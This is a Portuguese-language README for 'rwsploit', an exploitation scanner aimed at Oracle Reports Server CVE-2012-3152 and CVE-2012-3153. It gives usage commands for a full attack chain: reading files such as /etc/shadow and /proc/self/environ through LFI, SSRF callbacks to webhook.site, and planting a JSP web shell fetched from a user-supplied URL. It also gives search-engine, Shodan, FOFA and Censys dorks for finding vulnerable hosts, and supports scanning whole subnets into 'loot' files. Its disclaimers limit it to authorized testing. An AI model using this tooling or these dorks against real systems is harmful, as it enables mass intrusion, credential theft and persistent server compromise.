
Scanner de exploração automatizado para Oracle Reports Server (rwservlet) — CVE-2012-3152 / CVE-2012-3153. Detecta, realiza fingerprint, lê arquivos via LFI, testa SSRF via webhook e envia shells JSP. Tem como alvo Oracle Reports < 11g. Apenas para uso autorizado.
⚠️ Apenas para uso autorizado. Execute esta ferramenta apenas em sistemas que você possui ou para os quais tenha permissão explícita por escrito. O uso não autorizado é ilegal.
Um scanner de exploração focado para Oracle Reports Server (rwservlet) visando CVE-2012-3152 e CVE-2012-3153 — afetando versões anteriores ao 11g. Automatiza detecção, leitura de arquivos LFI, teste de SSRF e upload de shell JSP em IPs únicos, intervalos CIDR ou listas de alvos. A pré-filtragem inteligente TCP/HTTP ignora hosts mortos instantaneamente, sem perder tempo.
git clone https://github.com/abq0/rwsploit.git
cd rwsploit
pip install requests
Requer Python 3.8+. Sem outras dependências.
python3 rwsploit.py -t <IP|CIDR> [options]
python3 rwsploit.py -f <file> [options]
Execute sem argumentos para ver o menu de ajuda completo e dorks de reconhecimento.
# Detect only
python3 rwsploit.py -t 10.10.10.55 -p 7777
# Detect + LFI
python3 rwsploit.py -t 10.10.10.55 -p 7777 --lfi
# Full chain — LFI + SSRF + shell
python3 rwsploit.py -t 10.10.10.55 -p 7777 --lfi --shell
# Subnet scan, save dumps
python3 rwsploit.py -t 10.10.10.0/24 -p 7777 --lfi -o loot
# From file, no SSRF
python3 rwsploit.py -f targets.txt --lfi --no-ssrf
formato targets.txt
# comment — skipped
10.10.10.55
10.10.11.0/24
Lê arquivos legíveis mundialmente detectando primeiro o SO via showenv, depois executando apenas o conjunto de payloads correspondentes.
Linux — /etc/passwd, /etc/shadow, /etc/hosts, /etc/issue, /etc/os-release, /etc/group, /etc/crontab, /etc/timezone, /proc/version, /proc/cmdline, /proc/self/environ
Windows — win.ini, system32\drivers\etc\hosts, boot.ini, system.ini, AUTOEXEC.BAT
🚨 Ausência de saída LFI não significa que o alvo está seguro — a configuração e as permissões de arquivo do Oracle variam. Sempre teste SSRF e upload de shell independentemente.
Dispara rwservlet?JOBTYPE=rwurl&URLPARAMETER=<webhook> e consulta a API do webhook.site em busca de um callback. Imprime o IP de origem, método e User-Agent ao acertar. Um novo token de webhook é criado automaticamente na inicialização.
--shell)PATH_TRANSLATED de showenv para obter o caminho real do webrootkxqbrmfa.jsp)rwservlet?report=xyzzy&destype=file&desname=<webroot\shell.jsp>&JOBTYPE=rwurl&URLPARAMETER=<sua URL>inurl:"/reports/rwservlet" -site:oracle.com
inurl:"/reports/rwservlet/showenv"
inurl:"/reports/rwservlet/getserverinfo"
intitle:"Oracle Reports Server - Authenticate" inurl:rwservlet
Shodan
http.html:"rwservlet"
http.html:"/reports/rwservlet" http.html:"Oracle"
http.html:"rwservlet/showenv"
http.html:"getserverinfo" http.html:"Oracle Reports"
FOFA
body="/reports/rwservlet"
body="rwservlet" && body="Oracle Reports"
body="/reports/rwservlet/showenv"
body="getserverinfo" && body="rwservlet"
Censys
services.http.response.body: "/reports/rwservlet"
services.http.response.body: "rwservlet" and services.http.response.body: "Oracle Reports"
services.http.response.body: "rwservlet/showenv"
services.http.response.html_title: "Oracle Reports"
| CVE | Descrição |
|---|---|
| CVE-2012-3152 | Leitura de arquivo não autenticada via parâmetro report do rwservlet |
| CVE-2012-3153 | SSRF e escrita de arquivo via JOBTYPE=rwurl + URLPARAMETER |
Afeta Oracle Reports Server 6i, 9i, 10g — corrigido no 11g.
Apenas para testes de penetração autorizados, desafios CTF e pesquisa de segurança. O autor não assume nenhuma responsabilidade pelo uso indevido.
| Bandeira | Descrição | Padrão |
|---|
-t | IP alvo, hostname ou CIDR. Múltiplos valores aceitos. | — |
-f | Arquivo com um IP ou CIDR por linha. # = comentário. | — |
-p | Porta personalizada única — substitui a lista de portas padrão. | 80 443 8080 7777 7778 7779 8443 9090 |
-T | Threads concorrentes. | 15 |
-o | Salva dumps LFI no disco com este prefixo. Ex.: -o loot → loot_<ip>_<porta>_<arquivo>.txt | apenas stdout |
--timeout | Tempo limite da requisição em segundos. | 10 |
--lfi | Executa payloads de leitura de arquivos LFI. O SO é detectado primeiro para que apenas payloads relevantes sejam executados. | off |
--no-ssrf | Pular teste de webhook SSRF. | off |
--shell | Fazer upload de um shell JSP. Solicita a URL que serve o conteúdo do seu shell. | off |
-h | Mostra ajuda e dorks de reconhecimento. | — |